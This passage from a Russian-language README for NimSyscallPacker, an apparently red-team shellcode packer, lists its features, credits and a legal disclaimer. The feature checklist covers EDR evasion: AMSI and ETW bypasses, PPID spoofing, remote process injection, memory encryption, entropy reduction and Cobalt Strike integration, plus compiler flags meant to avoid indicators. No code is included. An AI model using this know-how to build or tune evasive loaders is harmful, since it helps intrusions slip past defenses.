- [X] Возможности подгрузки DLL
- [X] Вывод PowerShell
- [X] Вывод C#
- [X] Больше syscalls и/или D/Invoke для функций win32
- [X] Интеграция с Cobalt Strike — CNA
- [ ] Передача параметров, например, через манипуляцию полем PEB (спуфинг командной строки)
- [X] Передача параметров через патч импорта функций API
- [X] Шифрование памяти шеллкода через Sleep Hook [как в ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] Вызов функций Windows `GetConsoleWindow` и `ShowWindow` после создания процесса и загрузки хуков EDR, а затем изменение атрибутов окна на скрытое вместо флагов компиляции GUI
- [X] Больше пауз между некоторыми потенциально критическими заглушками
- [X] Определение пользовательского удаленного процесса для порождения перед инжекцией (сейчас жестко задан notepad)
- [X] Спуфинг PPID для вновь созданных процессов
- [X] BlockDLLs для новых процессов
- [X] Обход AMSI без патча (например, https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] Обход AMSI через перехват NtCreateSection (например, https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] Дополнительный патч ETW для EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull
- [X] Поддержка сервисных бинарных файлов, как в https://github.com/enthus1ast/nimWindowsService/
- [X] Переключатель перехвата DLL для DLLMain с процессом attach
- [X] Исправление ошибок приведения типов для x86
- [ ] Поддержка Wow64
- [X] Добавлен `--pump` — вставка нулевых байтов между, как в https://gitlab.com/ORCA000/entropyfix (нужно тестировать, может вызывать сбои)
- [X] Вывод файлов CPL
- [ ] Опция поддельных HTTP-запросов
- [X] Загрузка шеллкода с веб-сервера или из локального файла как альтернатива встраиванию (по умолчанию)
- [X] Использование дополнительных флагов компилятора для переопределения dynlib с целью избежать IoC функций и уменьшить размер: `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll`
- [X] Использование клонированных дескрипторов вместо OpenProcess (как Handlekatz) для удаленной инжекции процессов или как альтернатива повышению дескрипторов
- [X] Повышение дескрипторов
- [X] Добавлен ThreadlessInject для удаленной инжекции
- [ ] Добавление примитивов выполнения через обратные вызовы для удаленной инжекции через Nim-порт https://github.com/lem0nSec/CreateRemoteThreadPlus
- [X] Хранение нагрузок в виде MAC-адресов или IP-адресов и получение зашифрованной нагрузки во время выполнения для снижения энтропии
- [X] Добавление нескольких переходов для разных областей в стартовом адресе потока (как DripLoader) для обхода обнаружений при сканировании памяти (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)
## БЛАГОДАРНОСТИ
- [X] [@WhyDee86](https://twitter.com/WhyDee86) — функция Sleep + удаленный процесс Library module + начальный код жестко заданных аргументов
- [X] [@chvancooten](https://twitter.com/chvancooten) — пользовательское strenc + вдохновение от его Nim Packer
- [X] [@lefayjey](https://github.com/lefayjey) — вклад в вывод DLL + CNA-скрипт
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) — CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) — NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) — Donut
- [X] [@icyguider](https://github.com/icyguider) — вдохновение
- [X] [Tylous](https://github.com/Tylous/) — LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) — 1-байтовый патч AMSI/ETW + идеи по обходу песочницы
- [X] [glynx](https://github.com/glynx) — Pull Request для жестко заданных аргументов Nim-RunPE
- [X] [moloch--](https://github.com/moloch--) — Denim
- [X] [EgeBalci](https://github.com/EgeBalci) — SGN
- [X] [monoxgas](https://github.com/monoxgas) — Koppeling
- [X] [eversinc33](https://github.com/eversinc33) — BouncyGate, Docker-файл
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) — Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) — идея Stomb+Threadless inject
- [X] [DrDv](https://github.com/DrorDvash) — Генератор командной строки
## Юридическое предупреждение:
Использование NimSyscallPacker для атаки на цели без предварительного взаимного согласия незаконно. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут никакой ответственности и не отвечают за любое неправомерное использование или ущерб, причиненный этой программой. Используйте только в образовательных целях.